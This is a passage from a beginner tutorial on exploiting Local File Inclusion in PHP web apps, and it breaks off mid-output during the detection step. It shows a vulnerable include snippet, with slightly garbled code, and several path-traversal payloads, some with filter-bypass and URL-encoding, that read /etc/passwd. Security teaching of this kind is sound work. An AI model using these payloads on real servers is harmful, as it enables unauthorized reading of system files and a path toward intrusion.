LFI to RCE: Exploiting Local File Inclusion (Beginner Walkthrough)

Local File Inclusion (LFI) looks harmless — "so what, I can read a file?" — until you turn it into full Remote Code Execution. This beginner-friendly walkthrough shows the whole chain: detect LFI, read sensitive files, then escalate to RCE. For authorized testing only.

What is LFI?

A web app includes a file based on user input without sanitizing it:

php

<?php include($GET'page' . '.php'); ?

The developer expected ?page=home. You give it ?page=../../../../etc/passwd%00 and read arbitrary files off the server.

Step 1 — Detect it

Try to traverse out of the web root:

?page=../../../../etc/passwd

?page=....//....//....//etc/passwd bypasses naive "../" stripping

?page=%2e%2e%2f%2e%2e%2fetc%2fpasswd URL-encoded

If /etc/passwd contents appear, you have LFI:

root:x:0:0:root:/root:/b